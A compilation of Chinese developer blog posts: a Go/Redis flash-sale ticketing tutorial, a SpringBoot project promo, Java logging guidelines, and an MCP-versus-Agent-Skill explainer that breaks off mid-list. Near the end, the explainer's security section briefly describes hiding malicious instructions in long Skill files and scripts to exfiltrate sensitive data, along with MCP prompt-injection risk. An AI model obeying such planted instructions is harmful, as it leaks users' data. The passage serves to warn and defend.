if(ticket_total_nums >= ticket_sold_nums) then
return redis.call('HINCRBY', ticket_key, ticket_sold_key, 1)
end
return0
`
//远端统一扣库存
func (RemoteSpikeKeys *RemoteSpikeKeys) RemoteDeductionStock(conn redis.Conn) bool {
lua := redis.NewScript(1, LuaScript)
result, err := redis.Int(lua.Do(conn, RemoteSpikeKeys.SpikeOrderHashKey, RemoteSpikeKeys.TotalInventoryKey, RemoteSpikeKeys.QuantityOfOrderKey))
if err != nil {
returnfalse
}
return result != 0
}
我们使用 Hash 结构存储总库存和总销量的信息,用户请求过来时,判断总销量是否大于库存,然后返回相关的 Bool 值。
在启动服务之前,我们需要初始化 Redis 的初始库存信息:
hmset ticket_hash_key "ticket_total_nums" 10000 "ticket_sold_nums" 0
响应用户信息
我们开启一个 HTTP 服务,监听在一个端口上:
package main
...
func main() {
http.HandleFunc("/buy/ticket", handleReq)
http.ListenAndServe(":3005", nil)
}
上面我们做完了所有的初始化工作,接下来 handleReq 的逻辑非常清晰,判断是否抢票成功,返回给用户信息就可以了。
package main
//处理请求函数,根据请求将响应结果信息写入日志
func handleReq(w http.ResponseWriter, r *http.Request) {
redisConn := redisPool.Get()
LogMsg := ""
<-done
//全局读写锁
if localSpike.LocalDeductionStock() && remoteSpike.RemoteDeductionStock(redisConn) {
util.RespJson(w, 1, "抢票成功", nil)
LogMsg = LogMsg + "result:1,localSales:" + strconv.FormatInt(localSpike.LocalSalesVolume, 10)
} else {
util.RespJson(w, -1, "已售罄", nil)
LogMsg = LogMsg + "result:0,localSales:" + strconv.FormatInt(localSpike.LocalSalesVolume, 10)
}
done <- 1
//将抢票状态写入到log中
writeLog(LogMsg, "./stat.log")
}
func writeLog(msg string, logPath string) {
fd, _ := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)
defer fd.Close()
content := strings.Join([]string{msg, "\r\n"}, "")
buf := []byte(content)
fd.Write(buf)
}
前边提到我们扣库存时要考虑竞态条件,我们这里是使用 Channel 避免并发的读写,保证了请求的高效顺序执行。我们将接口的返回信息写入到了 ./stat.log 文件方便做压测统计。
单机服务压测
开启服务,我们使用 AB 压测工具进行测试:
ab -n 10000 -c 100 http://127.0.0.1:3005/buy/ticket
下面是我本地低配 Mac 的压测信息:
This is ApacheBench, Version 2.3 <$revision: 1826891="">
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
Benchmarking 127.0.0.1 (be patient)
Completed 1000 requests
Completed 2000 requests
Completed 3000 requests
Completed 4000 requests
Completed 5000 requests
Completed 6000 requests
Completed 7000 requests
Completed 8000 requests
Completed 9000 requests
Completed 10000 requests
Finished 10000 requests
Server Software:
Server Hostname: 127.0.0.1
Server Port: 3005
Document Path: /buy/ticket
Document Length: 29 bytes
Concurrency Level: 100
Time taken for tests: 2.339 seconds
Complete requests: 10000
Failed requests: 0
Total transferred: 1370000 bytes
HTML transferred: 290000 bytes
Requests per second: 4275.96 [#/sec] (mean)
Time per request: 23.387 [ms] (mean)
Time per request: 0.234 [ms] (mean, across all concurrent requests)
Transfer rate: 572.08 [Kbytes/sec] received
Connection Times (ms)
min mean[+/-sd] median max
Connect: 0 8 14.7 6 223
Processing: 2 15 17.6 11 232
Waiting: 1 11 13.5 8 225
Total: 7 23 22.8 18 239
Percentage of the requests served within a certain time (ms)
50% 18
66% 24
75% 26
80% 28
90% 33
95% 39
98% 45
99% 54
100% 239 (longest request)
根据指标显示,我单机每秒就能处理 4000+ 的请求,正常服务器都是多核配置,处理 1W+ 的请求根本没有问题。
而且查看日志发现整个服务过程中,请求都很正常,流量均匀,Redis 也很正常:
//stat.log
...
result:1,localSales:145
result:1,localSales:146
result:1,localSales:147
result:1,localSales:148
result:1,localSales:149
result:1,localSales:150
result:0,localSales:151
result:0,localSales:152
result:0,localSales:153
result:0,localSales:154
result:0,localSales:156
...
总结回顾
总体来说,秒杀系统是非常复杂的。我们这里只是简单介绍模拟了一下单机如何优化到高性能,集群如何避免单点故障,保证订单不超卖、不少卖的一些策略
完整的订单系统还有订单进度的查看,每台服务器上都有一个任务,定时的从总库存同步余票和库存信息展示给用户,还有用户在订单有效期内不支付,释放订单,补充到库存等等。
我们实现了高并发抢票的核心逻辑,可以说系统设计的非常的巧妙,巧妙的避开了对 DB 数据库 IO 的操作。
对 Redis 网络 IO 的高并发请求,几乎所有的计算都是在内存中完成的,而且有效的保证了不超卖、不少卖,还能够容忍部分机器的宕机。
我觉得其中有两点特别值得学习总结:
①负载均衡,分而治之
通过负载均衡,将不同的流量划分到不同的机器上,每台机器处理好自己的请求,将自己的性能发挥到极致。
这样系统的整体也就能承受极高的并发了,就像工作的一个团队,每个人都将自己的价值发挥到了极致,团队成长自然是很大的。
②合理的使用并发和异步
自 Epoll 网络架构模型解决了 c10k 问题以来,异步越来越被服务端开发人员所接受,能够用异步来做的工作,就用异步来做,在功能拆解上能达到意想不到的效果。
这点在 Nginx、Node.JS、Redis 上都能体现,他们处理网络请求使用的 Epoll 模型,用实践告诉了我们单线程依然可以发挥强大的威力。
服务器已经进入了多核时代,Go 语言这种天生为并发而生的语言,完美的发挥了服务器多核优势,很多可以并发处理的任务都可以使用并发来解决,比如 Go 处理 HTTP 请求时每个请求都会在一个 Goroutine 中执行。
总之,怎样合理的压榨 CPU,让其发挥出应有的价值,是我们一直需要探索学习的方向。
来源:juejin.cn/post/7541770924800163875
推荐8个牛逼的SpringBoot项目
前言
最近两年左右的时间,我一口气肝了8个实现项目。
包含了各种业界常见的技术,比如:SpringBoot、SpringCloud、SpringCloud Alibaba、Mybatis、JPA、Redis、MongoDB、ElasticSearch、MySQL、PostgreSQL、Minio、Caffine、RocketMQ、Prometheus、Grafana、ELK、skywalking、Sentinel、Nacos、Redisson、shardingsphere、HikariCP、guava、WebFlux、nacos、Sentinel、WebSocket、Gateway、Nginx、Docker、Spring AI、Spring AI Alibaba等等,非常值得一看。
今天给大家介绍一下这些项目,感兴趣的小伙伴,可以一起交流学习一下,干货满满。
1 100万QPS短链系统
使用技术:JDK21、SpringBoot3.5.3、JPA、Redis、布隆过滤器、Sentinel、Nacos、Redisson、shardingsphere、HikariCP、guava、Prometheus等。
目前设计了32个数据库,每个数据库包含了256张表。
每天可支持2.6亿以上的数据写入。
100万QPS短链系统的系统架构图如下:

技术亮点:

该项目的亮点是:
- 使用了最新的JDK21和SpringBoot3.5.3
- 100万QPS的超高并发请求
- 数据库分库分表设计
- 多级布隆过滤器设计
- 限流和熔断的使用
- Redis分片集群
- 改进后的雪花算法
- Redis分布式锁的使用
- Redis Stream的使用
- 多级缓存设计
- 多线程的处理
- 完整的单元测试覆盖
- 使用Prometheus对项目实时监控
- 使用Grafana创建监控仪表盘
- 使用AlertManager实现自动报警功能
- 接入钉钉报警
- 基于时间片的布隆过滤器
- 系统平滑扩容
- 基于Docker容器化部署
- 支持多种短链生成算法
- 接口幂等性设计
基于时间片的布隆过滤器流程图如下:

短链系统平滑扩容方案如下:

通过这个项目,可以学到很多高并发、流量评估、分库分表、多级缓存、多级布隆过滤器、限流、熔断、多线程、监控、报警、数据扩容、集群、广播消息、单元测试编写等多方面的知识。
目前这个项目包含两端代码:
- 后端服务
- 前端服务
想进大厂的小伙伴们,一定不要错过这个项目,里面有很多加分项。
点击这里获取项目源代码和教程:www.susan.net.cn/project
2 SaaS点餐系统
使用技术:JDK21、SpringBoot3.4.3、SpringCloud、SpringCloud Alibaba、Gateway、Mybatis、PostgesSQL、Redis、RocketMQ、ElasticSearch、Knife4j、Prometheus、Grafana、Minio、数据隔离等。
SaaS点餐系统是一套:DDD开发模式+多租户+PostgesSQL 的复杂微服务系统。
包含了9个微服务。
系统整体架构如下:

数据隔离方案如下:

DDD开发模式的代码示例:

通过这个项目可以掌握DDD开发模型、多租户数据隔离的方案实现、PostgresSQL数据库的使用,还有微服务之间的数据交换,网关服务的统一处理,以及复杂系统的职责领域的划分。
运行效果:

3 商城微服务系统
susan_mall_cloud是微服务项目。
使用了目前业界比较新的技术:JDK17、Spring6、SpringBoot3.3.5、SpringCloud2024、SpringCloud Alibaba2023.0.1.0。
微服务后端包含了:
- susan-mall-common (公共文件)
- susan-mall-gateway (网关服务)
- susan-mall-basic (基础服务)
- susan-mall-auth (权限服务,包含用户和权限相关的)
- susan-mall-product (商品服务)
- susan-mall-order (订单服务)
- susan-mall-pay (支付服务)
- susan-mall-member (会员服务)
- susan-mall-marketing (营销服务)
- susan-mall-admin(后台管理系统API)
- susan-mall-mobile(移动端API)
这个版本在商城已有技术基础之上,又增加了:SpringCloud Gateway、WebFlux、Seata、Skywaking、OpenFeign、Loadbalancer、Sentinel、Nacos、Canal、xxl-job、Prometheus、K8S等。

项目架构图:

目前包含了多端代码:
- 服务端的网关服务和6个微服务。
- 后台管理系统。
- uniapp小程序。
下面是商城小程序真实的截图:



看起来是不是非常专业?
商城微服务项目很复杂,包含了目前业界微服务分布式系统中使用最主流的技术,强烈推荐一下。
无论在工作中,还是面试中,都可以作为加分项。
特别是SpringCloud Gateway中WebFlux的使用,微服务之间的异常处理,以及微服务之间的通信,都很值得一看。
4 商城系统
商城系统目前包含了:SpringBoot后端 + Vue管理后台 + uniapp小程序 ,三个端的完整代码。
商城项目中包含了:基于Docker部署教程、域名解析教程、按环境隔离、网络爬虫、推荐算法、支付宝支付、分库分表、分片算法优化、手写动态定时任务、手写通用分页组件、JWT登录验证、数据脱敏、动态workId、hanlp敏感词校验,手写分布式ID生成器、分布式限流、手写Mybatis插件、两级缓存提升性能、MQ消息通信、ES商品搜索、OSS服务对接、失败自动重试机制、接口幂等性处理、百万数据excel导出、WebSocket消息推送、用户异地登录检测、freemarker模版邮件发送、代码生成工具、重复请求自动拦截、自定义金额校验注解等等一系列功能。
使用的技术:

商城系统的系统架构图如下:

包含了:
- 应用层:小程序、移动端H5、管理后台
- 网关层:Nginx反向代理和负载均衡
- 服务层:API服务、Job服务 & mq消费者服务
- 数据存储层:susan_mall库MySQL主从、susan_mall_order库MySQL分库分表、MongoDB保存商品详情、Minio存储文件
- 中间件层:Redis集群、RocketMQ、ElasticSearch、Nacos(注册中间 & 配置中心)
商城系统的技术架构图如下:

使用的都是目前业界非常主流和常用的技术,这些技术大部分公司目前都在使用。
商城系统可以帮你真正增加很多企业级项目经验。
功能亮点:

商城项目无论是毕业设计,还是面试,还是实际工作中,都非常值得一看。
商城项目使用了目前非常主流的技术,手写了很多底层的代码,设计模式、自定义了很多拦截器、过滤器、转换器、监听器等,很多代码可以搬到实际的工作中。
目前星球中包含了商城项目从0~1的完整开发教程,小白也可以直接上手。
星球中有些小伙伴,通过这个项目拿到了非常不错的offer。
点击这里获取项目源代码和教程:www.susan.net.cn/project
5. 秒杀系统
苏三的秒杀系统是专门为高并发而生的。
目前使用的技术有:SpringBoot、Redis、Redission、lua、RocketMQ、ElasticSearch、JWT、freemarker、themelaf、html、vue、element-ui等。
功能包括:商品预热、商品秒杀、分布式锁、MQ异步下单、限流、失败重试、预扣库存、数据一致性处理等。


涉及到了高并发的多种技术,特别是对页面静态化,倒计时、秒杀按钮控制、分布式锁、预扣库存、MQ处理、数据一致性等,会有比较大的收获。
秒杀系统的系统架构图:

可以帮你增加高并发的工作经验,也可以写到你的简历中。
秒杀系统在面试或者工作中,会经常遇到,非常有参考价值。
6 刷题吧小程序
IT刷题吧是我用AI花了几天时间,设计和开发了一款小程序。
效果图如下:



为了帮助大家能够快速的掌握使用AI开发项目的技巧,提升开发效率,能够先人一步,变成全栈开发工程师。
无论是自己接私活,还是开发公司的项目,都能够用更少的时间,写出更多,更有价值的代码。
苏三在知识星球中给小伙伴们,通过IT刷题吧项目,专门开设了一个AI开发课程。
你看完之后,会发现打开了一扇通向新世界的大门。(有很多惊喜)
这个课程会包含如下内容:
- 如何用AI设计产品原型的?
- 如何用AI生成小程序端和后端的代码结构的?
- 如何用AI生成后端的表结构?
- 如何用AI生成小程序和后端代码?
- 如何生成一套完整的可运行的代码?
- 如何基于图片生成想要的代码?
- 如何搞定小程序页面中的图片问题?
- 如何让小程序端和后端代码调通?
- 生成的代码不理想怎么办?
- 如果在开发过程中遇到了一些问题,用AI如何解决问题?
- 如何生成测试数据?
- 如何制定代码开发规范?
- AI开发工具的使用方法
- AI开发工具卡顿怎么办?
- 如何运行项目?
- 如何上线部署项目?
等等。。。
星球中会交付如下内容:
- IT刷题吧小程序
- SpringBoot后端代码
- 用AI开发项目的完整流程
目前已经全部开发完。
使用AI开发这个项目,从0~1的开发和部署教程。
问题答疑。
通过这个项目,你可以学到使用AI开发项目的具体方法。
如果你掌握了这些方法,开发其他的小程序绰绰有余。
这个项目有极大的价值。
授人予鱼,不如授人以渔。
光是学会这个项目,就有极大的价值。
7. 苏三的demo项目
这个项目包含了一些工作中常用的技术点,有很多非常有参考价值的示例。
涵盖:Spring、Mybatis、多线程、事务、常用工具、设计模式、http请求、lamda、io、excel、泛型、注解等多个方面。

本项目的宗旨是分享实际工作中,非常实用的代码技巧,能够让你写出更优雅高效的代码。
此外,后面会收录一下面试中,尤其是笔试中经常会被问题到的代码片段和算法。
8. 代码生成器项目
这是一个基于Spring Boot的智能代码生成器,能够根据数据库表结构自动生成完整的Java Web项目代码,极大提升开发效率,让开发者专注于业务逻辑而非重复的CRUD代码编写。
我们用这个代码生成器,可以通过数据库表,一键直接生成controller、service、mapper、entity、菜单sql、vue页面等。
使用的技术:SpringBoot、MyBatis、Apache Velocity、Swagger2、Lombok、Druid、Maven等。
我们在日常开发中,把数据库表设计好了之后,然后通过该工具,能够快速生成一个可以直接运行的CRUD代码。

毫不夸张的说,如果在项目中使用它,可以让你的开发效率快速提升,我们真的可以少写30%的代码。


在实际工作中,非常有价值。
来源:juejin.cn/post/7588022226739724338
瞧瞧别人家的日志打印,那叫一个优雅!
前言
这篇文章跟大家一起聊聊打印优质日志的10条军规,希望对你会有所帮助。

第1条:格式统一
反例(管理看到会扣钱):
log.info("start process");
log.error("error happen");
无时间戳,无上下文。
正解代码:
<!-- logback.xml核心配置 -->
<pattern>
%d{yy-MM-dd HH:mm:ss.SSS}
|%X{traceId:-NO_ID}
|%thread
|%-5level
|%logger{36}
|%msg%n
</pattern>
在logback.xml中统一配置了日志的时间格式、tradeId,线程、等级、日志详情都信息。
日志的格式统一了,更方便点位问题。

第2条:异常必带堆栈
反例(同事看了想打人):
try {
processOrder();
} catch (Exception e) {
log.error("处理失败");
}
出现异常了,日志中没打印任何的异常堆栈信息。
相当于自己把异常吃掉了。
非常不好排查问题。
正确姿势:
log.error("订单处理异常 orderId={}", orderId, e); // e必须存在!
日志中记录了出现异常的订单号orderId和异常的堆栈信息e。
第3条:级别合理
反面教材:
log.debug("用户余额不足 userId={}", userId); // 业务异常应属WARN
log.error("接口响应稍慢"); // 普通超时属INFO
接口响应稍慢,打印了error级别的日志,显然不太合理。
正常情况下,普通超时属INFO级别。
级别定义表:
| 级别 | 正确使用场景 |
|---|---|
| FATAL | 系统即将崩溃(OOM、磁盘爆满) |
| ERROR | 核心业务失败(支付失败、订单创建异常) |
| WARN | 可恢复异常(重试成功、降级触发) |
| INFO | 关键流程节点(订单状态变更) |
| DEBUG | 调试信息(参数流水、中间结果) |
第4条:参数完整
反例(让运维骂娘):
log.info("用户登录失败");
上面这个日志只打印了“用户登录失败”这个文案。
谁在哪登录失败?
侦探式日志:
log.warn("用户登录失败 username={}, clientIP={}, failReason={}",
username, clientIP, "密码错误次数超限");
登录失败的业务场景,需要记录哪个用户,ip是多少,在什么时间,登录失败了,失败的原因是什么。
时间在logback.xml中统一配置了格式。
这样才方便快速定位问题:

第5条:数据脱敏
血泪案例:
某同事打印日志泄露用户手机号被投诉。
我在记录的日志中,需要对一下用户的个人敏感数据做脱敏处理。
例如下面这样:
// 脱敏工具类
public class LogMasker {
public static String maskMobile(String mobile) {
return mobile.replaceAll("(\\d{3})\\d{4}(\\d{4})", "$1****$2");
}
}
// 使用示例
log.info("用户注册 mobile={}", LogMasker.maskMobile("13812345678"));
第6条:异步保性能
问题复现
某次秒杀活动中直接同步写日志,导致大量线程阻塞:
log.info("秒杀请求 userId={}, itemId={}", userId, itemId);
高并发下IO阻塞。
致命伤害分析:
- 同步写日志导致线程上下文切换频繁
- 磁盘IO成为系统瓶颈
- 高峰期日志打印耗时占总RT的25%
正确示范(三步配置法)
步骤1:logback.xml配置异步通道
<!-- 异步Appender核心配置 -->
<appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
<!-- 不丢失日志的阈值:当队列剩余容量<此值时,TRACE/DEBUG级别日志将被丢弃 -->
<discardingThreshold>0</discardingThreshold>
<!-- 队列深度:建议设为 (最大并发线程数 × 2) -->
<queueSize>4096</queueSize>
<!-- 关联真实Appender -->
<appender-ref ref="FILE"/>
</appender>
步骤2:日志输出优化代码
// 无需前置判断,框架自动处理
log.debug("接收到MQ消息:{}", msg.toSimpleString()); // 自动异步写入队列
// 不应做复杂计算后再打印(异步前仍在业务线程执行)
// 错误做法:
log.debug("详细内容:{}", computeExpensiveLog());
流程图如下:

步骤3:性能关键参数公式
最大内存占用 ≈ 队列长度 × 平均单条日志大小
推荐队列深度 = 峰值TPS × 容忍最大延迟(秒)
例如:10000 TPS × 0.5s容忍 ⇒ 5000队列大小
风险规避策略
- 防队列堆积:监控队列使用率,达80%触发告警
- 防OOM:严格约束大对象toString()的调用
- 紧急逃生:预设JMX接口用于快速切换同步模式
第7条:链路追踪
混沌场景:
跨服务调用无法关联日志。
我们需要有链路追踪方案。
全链路方案:
// 拦截器注入traceId
MDC.put("traceId", UUID.randomUUID().toString().substring(0,8));
// 日志格式包含traceId
<pattern>%d{HH:mm:ss} |%X{traceId}| %msg%n</pattern>
可以在MDC中设置traceId。
后面可以通过traceId全链路追踪日志。
流程图如下:

第8条:动态调参
半夜重启的痛:
线上问题需要临时开DEBUG日志,比如:查询用户的某次异常操作的日志。
热更新方案:
@GetMapping("/logLevel")
public String changeLogLevel(
@RequestParam String loggerName,
@RequestParam String level) {
Logger logger = (Logger) LoggerFactory.getLogger(loggerName);
logger.setLevel(Level.valueOf(level)); // 立即生效
return "OK";
}
有时候我们需要临时打印DEBUG日志,这就需要有个动态参数控制了。
否则每次调整打印日志级别都需要重启服务,可能会影响用户的正常使用。
journey
title 日志级别动态调整
section 旧模式
发现问题 --> 修改配置 --> 重启应用 --> 丢失现场
section 新模式
发现问题 --> 动态调整 --> 立即生效 --> 保持现场
第9条:结构化存储
混沌日志:
用户购买了苹果手机 订单号1001 金额8999
上面的日志拼接成了一个字符串,虽说中间有空格分隔了,但哪些字段对应了哪些值,看起来不是很清楚。
我们在存储日志的时候,需要做结构化存储,方便快速的查询和搜索。
机器友好式日志:
{
"event": "ORDER_CREATE",
"orderId": 1001,
"amount": 8999,
"products": [{"name":"iPhone", "sku": "A123"}]
}
这里使用了json格式存储日志。
日志中的数据一目了然。
第10条:智能监控
最失败案例:
某次用户开通会员操作,错误日志堆积3天才被发现,黄花菜都凉了。
我们需要在项目中引入智能监控。
ELK监控方案:

报警规则示例:
ERROR日志连续5分钟 > 100条 → 电话告警
WARN日志持续1小时 → 邮件通知
总结
研发人员的三大境界:
- 青铜:
System.out.println("error!") - 钻石:标准化日志 + ELK监控
- 王者:
- 日志驱动代码优化
- 异常预测系统
- 根因分析AI模型
最后的灵魂拷问:
下次线上故障时,你的日志能让新人5分钟定位问题吗?
最后说一句(求关注,别白嫖我)
如果这篇文章对您有所帮助,或者有所启发的话,帮忙关注一下我的同名公众号:苏三说技术,您的支持是我坚持写作最大的动力。
求一键三连:点赞、转发、在看。
关注公众号:【苏三说技术】,在公众号中回复:进大厂,可以免费获取我最近整理的10万字的面试宝典,好多小伙伴靠这个宝典拿到了多家大厂的offer。
来源:juejin.cn/post/7593232758128246790
别搞混了!MCP 和 Agent Skill 到底有什么区别?
MCP 与 Skill 深度对比:AI Agent 的两种扩展哲学
用 AI Agent 工具(Claude Code、Cursor、Windsurf 等)的时候,经常会遇到两个概念:
- MCP(Model Context Protocol)
- Skill(Agent Skill)
它们看起来都是"扩展 AI 能力"的方式,但具体有什么区别?为什么需要两套机制?什么时候该用哪个?
这篇文章会从设计哲学、技术架构、使用场景三个维度,把这两个概念彻底讲清楚。
一句话区分
先给个简单的定位:
MCP 解决"连接"问题:让 AI 能访问外部世界
Skill 解决"方法论"问题:教 AI 怎么做某类任务
用 Anthropic 官方的说法:
"MCP connects Claude to external services and data sources. Skills provide procedural knowledge—instructions for how to complete specific tasks or workflows."
打个比方:MCP 是 AI 的"手"(能触碰外部世界),Skill 是 AI 的"技能书"(知道怎么做某件事)。
你需要两者配合:MCP 让 AI 能连接数据库,Skill 教 AI 怎么分析查询结果。
MCP:AI 应用的 USB-C 接口
MCP 是什么
MCP(Model Context Protocol)是 Anthropic 在 2024 年 11 月发布的开源协议,用于标准化 AI 应用与外部系统的交互方式。
官方的比喻是"AI 应用的 USB-C 接口"——就像 USB-C 提供了一种通用的方式连接各种设备,MCP 提供了一种通用的方式连接各种工具和数据源。
关键点:MCP 不是 Claude 专属的。
它是一个开放协议,理论上任何 AI 应用都可以实现。截至 2025 年初,已经被多个平台采用:
- Anthropic: Claude Desktop、Claude Code
- OpenAI: ChatGPT、Agents SDK、Responses API
- Google: Gemini SDK
- Microsoft: Azure AI Services
- 开发工具: Zed、Replit、Codeium、Sourcegraph
到 2025 年 2 月,已经有超过 1000 个开源 MCP 连接器。
MCP 的架构
MCP 基于 JSON-RPC 2.0 协议,采用客户端-主机-服务器(Client-Host-Server)架构:
┌─────────────────────────────────────────────────────────┐
│ Host │
│ (Claude Desktop / Cursor) │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Client │ │ Client │ │ Client │ │
│ │ (GitHub) │ │ (Postgres) │ │ (Sentry) │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
└─────────┼────────────────┼────────────────┼─────────────┘
│ │ │
▼ ▼ ▼
┌───────────┐ ┌───────────┐ ┌───────────┐
│MCP Server │ │MCP Server │ │MCP Server │
│ (GitHub) │ │(Postgres) │ │ (Sentry) │
└───────────┘ └───────────┘ └───────────┘
- Host:用户直接交互的应用(Claude Desktop、Cursor、Windsurf)
- Client:Host 应用中管理与特定 Server 通信的组件
- Server:连接外部系统的桥梁(数据库、API、本地文件等)
MCP 的三个核心原语
MCP 定义了三种 Server 可以暴露的原语:
1. Tools(工具)—— 模型控制
可执行的函数,AI 可以调用来执行操作。
{
"name": "query_database",
"description": "Execute SQL query on the database",
"parameters": {
"type": "object",
"properties": {
"sql": { "type": "string" }
}
}
}
AI 决定什么时候调用这些工具。比如用户问"这个月的收入是多少",AI 判断需要查数据库,就会调用 query_database 工具。
2. Resources(资源)—— 应用控制
数据源,为 AI 提供上下文信息。
{
"uri": "file:///Users/project/README.md",
"name": "Project README",
"mimeType": "text/markdown"
}
资源由应用控制何时加载。用户可以通过 @ 引用资源,类似于引用文件。
3. Prompts(提示)—— 用户控制
预定义的提示模板,帮助结构化与 AI 的交互。
{
"name": "code_review",
"description": "Review code for bugs and security issues",
"arguments": [
{ "name": "code", "required": true }
]
}
用户显式触发这些提示,类似于 Slash Command。
MCP 与 Function Calling 的关系
很多人会问:MCP 和 OpenAI 的 Function Calling、Anthropic 的 Tool Use 有什么区别?
Function Calling 是 LLM 的能力——把自然语言转换成结构化的函数调用请求。LLM 本身不执行函数,只是告诉你"应该调用什么函数,参数是什么"。
MCP 是在 Function Calling 之上的协议层——它标准化了"函数在哪里、怎么调用、怎么发现"。
两者的关系:
用户输入 → LLM (Function Calling) → "需要调用 query_database"
↓
MCP Protocol
↓
MCP Server 执行
↓
返回结果给 LLM
Function Calling 解决"决定做什么",MCP 解决"怎么做到"。
MCP 的传输方式
MCP 支持两种主要的传输方式:
| 传输方式 | 适用场景 | 说明 |
|---|---|---|
| Stdio | 本地进程 | Server 在本地机器运行,适合需要系统级访问的工具 |
| HTTP/SSE | 远程服务 | Server 在远程运行,适合云服务(GitHub、Sentry、Notion) |
大部分云服务用 HTTP,本地脚本和自定义工具用 Stdio。
MCP 的代价
MCP 不是免费的午餐,它有明显的成本:
1. Token 消耗大
每个 MCP Server 都会占用上下文空间。每次对话开始,MCP Client 需要告诉 LLM "你有这些工具可用",这些工具定义会消耗大量 Token。
连接多个 MCP Server 后,光是工具定义可能就占用了上下文窗口的很大一部分。社区观察到:
"We're seeing a lot of MCP developers even at enterprise build MCP servers that expose way too much, consuming the entire context window and leading to hallucination."
2. 需要维护连接
MCP Server 是持久连接的外部进程。Server 挂了、网络断了、认证过期了,都会影响 AI 的能力。
3. 安全风险
Anthropic 官方警告:
"Use third party MCP servers at your own risk - Anthropic has not verified the correctness or security of all these servers."
特别是能获取外部内容的 MCP Server(比如网页抓取),可能带来 prompt injection 风险。
MCP 的价值
尽管有这些代价,MCP 的价值在于标准化和可复用性:
- 一次实现,到处使用:同一个 GitHub MCP Server 可以在 Claude Desktop、Cursor、Windsurf 中使用
- 动态发现:AI 可以在运行时发现有哪些工具可用,而不是写死在代码里
- 供应商无关:不依赖特定的 LLM 提供商
Skill:上下文工程的渐进式公开
Skill 是什么
Skill(全称 Agent Skill)是 Anthropic 在 2025 年 10 月发布的特性。官方定义:
"Skills are organized folders of instructions, scripts, and resources that agents can discover and load dynamically to perform better at specific tasks."
翻译一下:Skill 是一个文件夹,里面放着指令、脚本和资源,AI 会根据需要自动发现和加载。
Skill 在架构层级上和 MCP 不同。
用 Anthropic 的话说:
"Skills are at the prompt/knowledge layer, whereas MCP is at the integration layer."
Skill 是"提示/知识层",MCP 是"集成层"。两者解决不同层面的问题。
Skill 的核心设计:渐进式信息公开
Skill 最精妙的设计是渐进式信息公开(Progressive Disclosure)。这是 Anthropic 在上下文工程(Context Engineering)领域的重要实践。
官方的比喻:
"Like a well-organized manual that starts with a table of contents, then specific chapters, and finally a detailed appendix."
就像一本组织良好的手册:先看目录,再翻到相关章节,最后查阅附录。
Skill 分三层加载:
flowchart TD
subgraph L1["第 1 层:元数据(始终加载)"]
A[Skill 名称 + 描述]
B["约 100 tokens"]
end
subgraph L2["第 2 层:核心指令(按需加载)"]
C[SKILL.md 完整内容]
D["通常 < 5k tokens"]
end
subgraph L3["第 3+ 层:支持文件(深度按需)"]
E[reference.md]
F[scripts/helper.py]
G[templates/...]
end
L1 --> |"Claude 判断相关"| L2
L2 --> |"需要更多信息"| L3
style L1 fill:#d4edda,stroke:#28a745
style L2 fill:#fff3cd,stroke:#ffc107
style L3 fill:#cce5ff,stroke:#0d6efd
这个设计的好处是什么?
传统方式(比如 MCP)在会话开始时就把所有信息加载到上下文。如果你有 10 个 MCP Server,每个暴露 5 个工具,那就是 50 个工具定义——可能消耗数千甚至上万 Token。
Skill 的渐进式加载让你可以有几十个 Skill,但同时只加载一两个。上下文效率大幅提升。
用官方的话说:
"This means that the amount of context that can be bundled int0 a skill is effectively unbounded."
理论上,单个 Skill 可以包含无限量的知识——因为只有需要的部分才会被加载。
上下文工程:Skill 背后的思想
Skill 是 Anthropic "上下文工程"(Context Engineering)理念的产物。官方对此有专门的阐述:
"At Anthropic, we view context engineering as the natural progression of prompt engineering. Prompt engineering refers to methods for writing and organizing LLM instructions for optimal outcomes. Context engineering refers to the set of strategies for curating and maintaining the optimal set of tokens (information) during LLM inference."
简单说:
- Prompt Engineering:怎么写好提示词
- Context Engineering:怎么管理上下文窗口里的信息
LLM 的上下文窗口是有限的(即使是 200k 窗口,也会被大量信息撑爆)。Context Engineering 的核心问题是:在有限的窗口里,放什么信息能让 AI 表现最好?
Skill 的渐进式加载就是 Context Engineering 的具体实践——只加载当前任务需要的信息,让每一个 Token 都发挥最大价值。
Skill 的触发机制
Skill 是自动触发的,这是它和 Slash Command 的关键区别。
工作流程:
- 扫描阶段:Claude 读取所有 Skill 的元数据(名称 + 描述)
- 匹配阶段:将用户请求与 Skill 描述进行语义匹配
- 加载阶段:如果匹配成功,加载完整的 SKILL.md
- 执行阶段:按照 Skill 里的指令执行任务,按需加载支持文件
用户不需要显式调用。比如你有一个 code-review Skill,用户说"帮我 review 这段代码",Claude 会自动匹配并加载。
Skill 的本质是什么?
技术上,Skill 是一个元工具(Meta-tool):
"The Skill tool is a meta-tool that manages all skills. Traditional tools like Read, Bash, or Write execute discrete actions and return immediate results. Skills operate differently—rather than performing actions directly, they inject specialized instructions int0 the conversation history and dynamically modify Claude's execution environment."
Skill 不是执行具体动作,而是注入指令到对话历史中,动态修改 Claude 的执行环境。
Skill 的文件结构
一个标准的 Skill 长这样:
my-skill/
├── SKILL.md # 必需:元数据 + 主要指令
├── reference.md # 可选:详细参考文档
├── examples.md # 可选:使用示例
├── scripts/
│ └── helper.py # 可选:可执行脚本
└── templates/
└── template.txt # 可选:模板文件
SKILL.md 是核心,必须包含 YAML 格式的元数据:
---
name: code-review
description: >
Review code for bugs, security issues, and style violations.
Use when asked to review code, check for bugs, or audit PRs.
---
# Code Review Skill
## Instructions
When reviewing code, follow these steps:
1. First check for security vulnerabilities...
2. Then check for performance issues...
3. Finally check for code style...
关键字段:
name:Skill 的唯一标识,小写字母 + 数字 + 连字符,最多 64 字符description:描述做什么、什么时候用,最多 1024 字符
description 的质量直接决定 Skill 能不能被正确触发。
Skill 的安全考虑
Skill 有一个潜在的安全问题:Prompt Injection。
研究人员发现:
"Although Agent Skills can be a very useful tool, they are fundamentally insecure since they enable trivially simple prompt injections. Researchers demonstrated how to hide malicious instructions in long Agent Skill files and referenced scripts to exfiltrate sensitive data."
因为 Skill 本质上是注入指令,恶意的 Skill 可以在长文件中隐藏恶意指令,窃取敏感数据。
应对措施:
- 只使用可信来源的 Skill
- 审查 Skill 中的脚本
- 使用
